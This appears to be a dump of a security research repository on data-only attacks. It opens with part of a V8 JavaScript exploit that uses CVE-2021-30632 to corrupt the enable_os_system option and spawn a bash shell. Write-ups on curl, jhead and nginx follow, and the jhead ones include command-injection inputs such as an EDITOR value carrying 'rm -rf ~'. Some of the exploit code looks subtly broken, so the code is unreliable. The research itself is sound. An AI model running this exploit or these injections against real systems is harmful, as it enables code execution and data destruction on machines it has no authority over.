return [intView[0], intView[1]]; 54 | } 55 | 56 | function i32tof(i1, i2) { 57 | intView[0] = i1; 58 | intView[1] = i2; 59 | return dblArr[0]; 60 | } 61 | 62 | function itof(i) { 63 | bigIntView = BigInt(i); 64 | return dblArr[0]; 65 | } 66 | 67 | function ftoi(f) { 68 | dblArr[0] = f; 69 | return bigIntView[0]; 70 | } 71 | 72 | 73 | dblArr[0] = addrs[0]; 74 | dblArr[1] = addrs[1]; 75 | 76 | function addrOf(obj) { 77 | b[0] = obj; 78 | let addrs = oobRead(); 79 | dblArr[0] = addrs[0]; 80 | return intView[1]; 81 | } 82 | 83 | function arbRead(addr) { 84 | [elements, addr1] = ftoi32(addrs[1]); 85 | oobWrite(i32tof(addr,addr1)); 86 | return writeArr[0]; 87 | } 88 | 89 | function writeShellCode(rwxAddr, shellArr) { 90 | var intArr = new Uint8Array(400); 91 | var intArrAddr = addrOf(intArr); 92 | // console.log("intArray addr: " + intArrAddr.toString(16)); 93 | var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); 94 | // console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16)); 95 | 96 | var intArrMapAddr = ftoi(arbRead(intArrAddr - 0x08 + 0x00)); 97 | // console.log("intArrMapAddr: " + intArrMapAddr.toString(16)); 98 | intArrMapAddr = intArrMapAddr & BigInt(0xFFFFFFFF); 99 | // console.log("intArrMapAddr: " + intArrMapAddr.toString(16)); 100 | intArrMapAddr = Number(intArrMapAddr); 101 | 102 | var mapConstructorAddr = ftoi(arbRead(intArrMapAddr - 0x08 + 0x14)); 103 | // console.log("mapConstructorAddr: " + mapConstructorAddr.toString(16)); 104 | mapConstructorAddr = mapConstructorAddr & BigInt(0xFFFFFFFF); 105 | // console.log("mapConstructorAddr: " + mapConstructorAddr.toString(16)); 106 | mapConstructorAddr = Number(mapConstructorAddr); 107 | 108 | var constructorMapAddr = ftoi(arbRead(mapConstructorAddr - 0x08 + 0x00)); 109 | // console.log("constructorMapAddr: " + constructorMapAddr.toString(16)); 110 | constructorMapAddr = constructorMapAddr & BigInt(0xFFFFFFFF); 111 | // console.log("constructorMapAddr: " + constructorMapAddr.toString(16)); 112 | constructorMapAddr = Number(constructorMapAddr); 113 | 114 | var instanceDescriptors = ftoi(arbRead(constructorMapAddr - 0x08 + 0x18)); 115 | // console.log("instanceDescriptors: " + instanceDescriptors.toString(16)); 116 | instanceDescriptors = instanceDescriptors & BigInt(0xFFFFFFFF); 117 | // console.log("instanceDescriptors: " + instanceDescriptors.toString(16)); 118 | instanceDescriptors = Number(instanceDescriptors); 119 | 120 | var propertyLength = ftoi(arbRead(instanceDescriptors - 0x08 + 0x18)); 121 | // console.log("propertyLength: " + propertyLength.toString(16)); 122 | propertyLength = propertyLength & BigInt(0xFFFFFFFF); 123 | console.log('[+] Exploited! Run bash without --enable-os-system'); 124 | propertyLength = Number(propertyLength); 125 | 126 | var lengthSetter = ftoi(arbRead(propertyLength - 0x08 + 0x10)); 127 | // console.log("lengthSetter: " + lengthSetter.toString(16)); 128 | lengthSetter = lengthSetter & BigInt(0xFFFFFFFF); 129 | // console.log("lengthSetter: " + lengthSetter.toString(16)); 130 | lengthSetter = Number(lengthSetter); 131 | 132 | var foreignAddress = ftoi(arbRead(lengthSetter - 0x08 + 0x04)); 133 | // console.log("foreignAddress: " + foreignAddress.toString(16)); 134 | foreignAddress = Number(foreignAddress); 135 | 136 | // offsets from `foreign_address` to `options.enable_os_system` 137 | var optionAddr = foreignAddress + 0xdf48b0 + 0x9958 + 0x238; 138 | // console.log("optionAddr: " + optionAddr.toString(16)); 139 | enableOsSystem = optionAddr + 0x8; 140 | // console.log("enableOsSystem: " + enableOsSystem.toString(16)); 141 | 142 | enableOsSystem = BigInt(enableOsSystem); 143 | var highAddr = enableOsSystem >> BigInt(32); 144 | // console.log("highAddr: " + highAddr.toString(16)); 145 | var lowAddr = enableOsSystem & BigInt(0xFFFFFFFF); 146 | // console.log("lowAddr: " + lowAddr.toString(16)); 147 | rwxAddr = i32tof(Number(lowAddr), Number(highAddr)); 148 | // console.log("rwxAddr: ", ftoi(rwxAddr).toString(16)); 149 | 150 | [elements, addr1] = ftoi32(addrs[1]); 151 | oobWrite(i32tof(intArrAddr + 0x20, addr1)); 152 | writeArr[0] = rwxAddr; 153 | for (let i = 0; i < shellArr.length; i++) { 154 | intArr[i] = shellArr[i]; 155 | } 156 | } 157 | // Use CVE-2021-30632 to corrupt options->enable_os_system. 158 | 159 | var instanceAddr = addrOf(instance); 160 | var elementsAddr = ftoi32(addrs[1])[0]; 161 | var rwxAddr = arbRead(instanceAddr + 0x60); 162 | 163 | var shellCode = [0x1] 164 | 165 | writeShellCode(rwxAddr, shellCode); 166 | 167 | main(); 168 | 169 | var workerScript = `os.system("bash")`; 170 | var worker = new Worker(workerScript, {type: 'string'}); 171 | 172 | -------------------------------------------------------------------------------- /V8/enable_os_system.md: -------------------------------------------------------------------------------- 1 | # enable\_os\_system 2 | 3 | TODO -------------------------------------------------------------------------------- /V8/v8.patch: -------------------------------------------------------------------------------- 1 | diff --color -ruN v8.orig/src/libplatform/default-platform.cc v8/src/libplatform/default-platform.cc 2 | --- v8.orig/src/libplatform/default-platform.cc 2023-08-07 16:15:07.542061694 -0400 3 | +++ v8/src/libplatform/default-platform.cc 2023-08-07 13:40:49.162449073 -0400 4 | @@ -72,7 +72,7 @@ 5 | if (thread_pool_size < 1) { 6 | thread_pool_size = base::SysInfo::NumberOfProcessors() - 1; 7 | } 8 | - return std::max(std::min(thread_pool_size, kMaxThreadPoolSize), 1); 9 | + return std::max(std::min(thread_pool_size, kMaxThreadPoolSize), 0); 10 | } 11 | } // namespace 12 | 13 | diff --color -ruN v8.orig/src/libplatform/delayed-task-queue.cc v8/src/libplatform/delayed-task-queue.cc 14 | --- v8.orig/src/libplatform/delayed-task-queue.cc 2023-08-07 16:14:54.593920663 -0400 15 | +++ v8/src/libplatform/delayed-task-queue.cc 2023-08-07 13:41:03.786556477 -0400 16 | @@ -17,7 +17,7 @@ 17 | DelayedTaskQueue::~DelayedTaskQueue() { 18 | base::MutexGuard guard(&lock_); 19 | DCHECK(terminated_); 20 | - DCHECK(task_queue_.empty()); 21 | + // DCHECK(task_queue_.empty()); 22 | } 23 | 24 | double DelayedTaskQueue::MonotonicallyIncreasingTime() { 25 | -------------------------------------------------------------------------------- /curl/README.md: -------------------------------------------------------------------------------- 1 | [curl](https://github.com/curl/curl) is a command line tool and library for transferring data with URL syntax. 2 | 3 | # Source Code 4 | 5 | The following instructions provide a way to obtain a copy of the source code. 6 | 7 | ```bash 8 | $ git clone https://github.com/curl/curl.git 9 | $ git checkout 97f7f66 10 | ``` 11 | 12 | # Critical Vairables 13 | 14 | * [tempstore](tempstore.md) 15 | -------------------------------------------------------------------------------- /curl/tempstore.md: -------------------------------------------------------------------------------- 1 | # tempstore 2 | 3 | ## Details 4 | 5 | tempstore is a pointer to a string that holds the name of a temporary file. 6 | When curl attempts to write something to a file, tempstore is used to ensure that the target file is written atomically and safely. 7 | When writing to a file (not stdout), Curl_fopen may open a temporary file for writing and set tempstore to its name. 8 | After successfully writing all content, the function closes the temporary file and then renames it to the target filename. 9 | This approach prevents data loss or corruption if the program crashes or is interrupted during the write operation. The original file is only replaced once the new file is fully written. The core code logic is as follows: 10 | 11 | ```c 12 | if(!use_stdout) { 13 | ... 14 | if(tempstore && Curl_rename(tempstore, filename)) { 15 | unlink(tempstore); 16 | } 17 | } 18 | ``` 19 | 20 | However, curl does not check the existence of original target file `filename` before calling `Curl_rename(tempstore, filename)`. This means any file could be overwritten without check. 21 | 22 | -------------------------------------------------------------------------------- /jhead/README.md: -------------------------------------------------------------------------------- 1 | [JHEAD](https://github.com/Matthias-Wandel/jhead) is a simple command line tool for displaying and some manipulation 2 | of EXIF header data embedded in Jpeg images from digital cameras. 3 | 4 | 5 | # Source Code 6 | 7 | Our analysis is performed on version 3.04. The following instructions provide a way to obtain a copy of the source code. 8 | 9 | ```bash 10 | $ wget https://www.sentex.ca/\~mwandel/jhead/jhead-3.04.tar.gz 11 | $ tar zxf jhead-3.04.tar.gz; 12 | $ cd jhead-3.04 13 | ``` 14 | 15 | # Critical Vairables 16 | 17 | * [RegenThumbnail](regenthumbnail.md) 18 | * [EditComment](editcomment.md) 19 | 20 | -------------------------------------------------------------------------------- /jhead/editcomment.md: -------------------------------------------------------------------------------- 1 | # EditComment 2 | 3 | ## Overview 4 | 5 | Jhead provides the ability to interactively edit the JPEG comment field using the `-ce` command-line option. When this option is used, the program launches a text editor so the user can modify the comment associated with the image. 6 | 7 | ## How It Works 8 | 9 | When the `-ce` option is specified, the following logic is executed: 10 | 11 | ```c 12 | if (EditComment) { 13 | // ... 14 | char EditFileName[PATH_MAX+5]; 15 | strcpy(EditFileName, FileName); 16 | strcat(EditFileName, ".txt"); 17 | 18 | CommentSize = FileEditComment(EditFileName, Comment, CommentSize); 19 | // ... 20 | } 21 | ``` 22 | 23 | The core function responsible for launching the editor is `FileEditComment`: 24 | 25 | ```c 26 | static int FileEditComment(char * TempFileName, char * Comment, int CommentSize) 27 | { 28 | // Write the current comment to a temporary file 29 | file = fopen(TempFileName, "w"); 30 | fwrite(Comment, CommentSize, 1, file); 31 | fclose(file); 32 | 33 | // Determine which editor to use 34 | Editor = getenv("EDITOR"); 35 | if (Editor == NULL){ 36 | #ifdef _WIN32 37 | Editor = "notepad"; 38 | #else 39 | Editor = "vi"; 40 | #endif 41 | } 42 | 43 | // Construct and execute the shell command 44 | sprintf(QuotedPath, "%s \"%s\"", Editor, TempFileName); 45 | a = system(QuotedPath); 46 | 47 | ... 48 | } 49 | ``` 50 | 51 | - The program writes the current comment to a temporary file. 52 | - It determines the editor to use from the `$EDITOR` environment variable (or defaults to `vi`/`notepad`). 53 | - It constructs a shell command and executes it using `system()`. 54 | - After editing, it reads the comment back from the file and updates the JPEG. 55 | 56 | ## Security Issue: Command Injection 57 | 58 | The `EditComment` feature is vulnerable to command injection because it constructs a shell command using user-controlled input `FileName` and `$EDITOR` without any validation: 59 | 60 | ```c 61 | Editor = getenv("EDITOR"); 62 | sprintf(QuotedPath, "%s \"%s\"", Editor, TempFileName); 63 | a = system(QuotedPath); 64 | ``` 65 | 66 | - If an attacker sets the `EDITOR` environment variable to a malicious value (e.g., `EDITOR="vi; rm -rf ~"`), arbitrary commands can be executed when `system()` is called. 67 | - The temporary filename is also interpolated into the shell command and can be exploited by attackers in the way mentioned in `regenthumbnail.md`. -------------------------------------------------------------------------------- /jhead/regenthumbnail.md: -------------------------------------------------------------------------------- 1 | # RegenThumbnail 2 | 3 | ## Overview 4 | 5 | Jhead provides the ability to regenerate image thumbnails embedded in EXIF data using the `-rgt [size]` command-line option. This option store `size` in the global variable `RegenThumbnail`, which is then used as a flag to trigger thumbnail regeneration for the specified image file. 6 | 7 | ## How It Works 8 | 9 | When the `-rgt` option is used, the following logic is executed: 10 | 11 | ```c 12 | if (RegenThumbnail) { 13 | if (RegenerateThumbnail(FileName)) { 14 | Modified = TRUE; 15 | } 16 | } 17 | ``` 18 | 19 | The core function responsible for thumbnail regeneration is `RegenerateThumbnail`: 20 | 21 | ```c 22 | static int RegenerateThumbnail(const char * FileName) 23 | { 24 | ... 25 | 26 | a: sprintf(ThumbnailGenCommand, "mogrify -thumbnail %dx%d -quality 80 \"%s\"", 27 | RegenThumbnail, RegenThumbnail, FileName); 28 | 29 | b: if (system(ThumbnailGenCommand) == 0){ 30 | // Put the thumbnail back in the header 31 | return ReplaceThumbnail(FileName); 32 | }else{ 33 | ErrFatal("Unable to run 'mogrify' command"); 34 | return FALSE; 35 | } 36 | } 37 | ``` 38 | 39 | - The command string for `mogrify` is constructed using user-supplied input (`FileName`). 40 | - This command is then executed via `system()` without any sanitization or validation. 41 | 42 | ## Security Issue: Command Injection 43 | 44 | Because the `FileName` parameter is user-controlled and directly interpolated into a shell command, this implementation is vulnerable to command injection. An attacker can craft a malicious filename to execute arbitrary shell commands. 45 | 46 | ```bash 47 | jhead-3.04$ ./jhead -rgt \"; echo 'hello'\" 48 | 49 | Error : No such file 50 | in file '"' 51 | hello" 52 | ``` -------------------------------------------------------------------------------- /nginx/README.md: -------------------------------------------------------------------------------- 1 | [nginx](https://github.com/nginx/nginx) is a high-performance, open-source web server software that also functions as a: 2 | * Reverse proxy 3 | * Load balancer 4 | * HTTP cache 5 | * Mail proxy (SMTP, POP3, IMAP) 6 | 7 | # Source Code 8 | 9 | The following instructions provide a way to obtain a copy of the source code. 10 | 11 | ```bash 12 | wget http://nginx.org/download/nginx-1.20.2.tar.gz 13 | tar zxf nginx-1.20.2.tar.gz 14 | ``` 15 | 16 | # Critical Vairables 17 | 18 | * [sa_family](sa_family.md) 19 | 20 | * [ngx_terminate](ngx_terminate.md) 21 | 22 | * [ngx_quit](ngx_quit.md) 23 | 24 | * [ft.st_uid](st_uid.md) 25 | 26 | * [ft.st_mode](st_mode.md) -------------------------------------------------------------------------------- /nginx/ngx_terminate.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PSU-Security-Universe/data-only-attacks/49a0bc114dc515c63188d7e55e7cffb476a3ea8c/nginx/ngx_terminate.md -------------------------------------------------------------------------------- /nginx/sa_family.md: -------------------------------------------------------------------------------- 1 | # sa_family 2 | 3 | ## Background 4 | 5 | The `ngx_open_listening_sockets` function is responsible for creating, configuring and preparing all the sockets that NGINX will use to accept incoming connections. This includes both network sockets and Unix domain sockets (for local IPC). 6 | 7 | `struct sockaddr` uses a member `sa_family` to mark the socket type. `AF_INET*` for network socket and `AF_UNIX` for Unix domain socket. 8 | 9 | ## Details 10 | 11 | In `ngx_open_listening_sockets`, if the socket is a Unix domain socket, nginx will call `chmod` to set permission of the target Unix file to `RW_RW_RW_` 12 | 13 | ```c 14 | if (ls[i].sockaddr->sa_family == AF_UNIX) { 15 | mode_t mode; 16 | u_char *name; 17 | 18 | name = ls[i].addr_text.data + sizeof("unix:") - 1; 19 | mode = (S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH); 20 | 21 | if (chmod((char *) name, mode) == -1) { 22 | ... 23 | } 24 | ``` --------------------------------------------------------------------------------